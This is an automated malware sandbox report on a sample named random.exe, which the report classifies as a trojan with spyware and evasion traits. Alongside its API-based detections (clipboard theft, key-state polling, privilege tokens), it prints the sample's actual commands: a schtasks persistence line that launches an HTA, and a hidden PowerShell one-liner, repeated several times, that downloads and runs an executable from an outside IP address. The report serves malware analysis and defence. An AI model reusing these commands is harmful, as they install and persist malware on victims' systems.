Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_0024EAFF
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput, 0_2_0023AA57
Potential key logger detected (key state polling based)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00269576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 0_2_00269576

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: random.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: random.exe, 00000000.00000000.863008323.0000000000292000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_84e5c3a5-d
Source: random.exe, 00000000.00000000.863008323.0000000000292000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_56c8fcfb-b
Source: random.exe String found in binary or memory: This is a third-party compiled AutoIt script. memstr_0ed4955b-f
Source: random.exe String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_ad409eca-a
Creates HTA files
Source: C:\Users\user\Desktop\random.exe File created: C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta Jump to behavior
PE file contains section with special chars
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name:
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: .idata
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name:
Source: rapes.exe.19.dr Static PE information: section name:
Source: rapes.exe.19.dr Static PE information: section name: .idata
Source: rapes.exe.19.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Jump to dropped file
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023D5EB: CreateFileW,DeviceIoControl,CloseHandle, 0_2_0023D5EB
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00231201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_00231201
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 0_2_0023E8F6
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File created: C:\Windows\Tasks\rapes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00242046 0_2_00242046
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D8060 0_2_001D8060
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00238298 0_2_00238298
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0020E4FF 0_2_0020E4FF
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0020676B 0_2_0020676B
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00264873 0_2_00264873
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001FCAA0 0_2_001FCAA0
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001DCAF0 0_2_001DCAF0
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001ECC39 0_2_001ECC39
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00206DD9 0_2_00206DD9
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001EB119 0_2_001EB119
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D91C0 0_2_001D91C0
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F1394 0_2_001F1394
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F1706 0_2_001F1706
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F781B 0_2_001F781B
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D7920 0_2_001D7920
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001E997D 0_2_001E997D
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F19B0 0_2_001F19B0
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F7A4A 0_2_001F7A4A
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F1C77 0_2_001F1C77
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F7CA7 0_2_001F7CA7
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0025BE44 0_2_0025BE44
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00209EEE 0_2_00209EEE
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F1F32 0_2_001F1F32
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001DBF40 0_2_001DBF40
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\random.exe Code function: String function: 001F0A30 appears 46 times
Source: C:\Users\user\Desktop\random.exe Code function: String function: 001EF9F2 appears 40 times
Sample file is different than original file name gathered from version info
Source: random.exe, 00000000.00000003.870905897.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Source: random.exe, 00000000.00000002.873544589.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamec vs random.exe
Source: random.exe, 00000000.00000002.873544589.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs random.exe
Source: random.exe, 00000000.00000003.872071566.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Source: random.exe, 00000000.00000003.867495705.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamec vs random.exe
Source: random.exe, 00000000.00000003.867495705.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs random.exe
Source: random.exe, 00000000.00000003.866830933.0000000001129000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamec vs random.exe
Source: random.exe, 00000000.00000003.866830933.0000000001129000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs random.exe
Source: random.exe, 00000000.00000003.871176383.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Source: random.exe, 00000000.00000003.867940948.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamec vs random.exe
Source: random.exe, 00000000.00000003.867940948.0000000001130000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs random.exe
Source: random.exe, 00000000.00000003.871583443.0000000000FF2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Source: random.exe, 00000000.00000002.873325135.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Source: random.exe, 00000000.00000003.871976205.0000000000FF2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAMEY vs random.exe
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Uses 32bit PE files
Source: random.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: Section: ZLIB complexity 0.9983481835399449
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: Section: vyhhgzxi ZLIB complexity 0.994652416087963
Source: rapes.exe.19.dr Static PE information: Section: ZLIB complexity 0.9983481835399449
Source: rapes.exe.19.dr Static PE information: Section: vyhhgzxi ZLIB complexity 0.994652416087963
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@22/14@0/3
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002437B5 GetLastError,FormatMessageW, 0_2_002437B5
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002310BF AdjustTokenPrivileges,CloseHandle, 0_2_002310BF
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002316C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 0_2_002316C3
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002451CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 0_2_002451CD
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0025A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 0_2_0025A67C
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize, 0_2_0024648E
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 0_2_001D42A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_03
Source: C:\Users\user\Desktop\random.exe File created: C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta Jump to behavior
Source: random.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\random.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: random.exe Virustotal: Detection: 49%
Source: random.exe ReversingLabs: Detection: 50%
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE String found in binary or memory: " /add
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE String found in binary or memory: " /add /y
Source: rapes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe String found in binary or memory: " /add
Source: rapes.exe String found in binary or memory: " /add /y
Source: rapes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe String found in binary or memory: " /add
Source: rapes.exe String found in binary or memory: " /add /y
Source: unknown Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\Desktop\random.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE "C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE"
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\Desktop\random.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE "C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
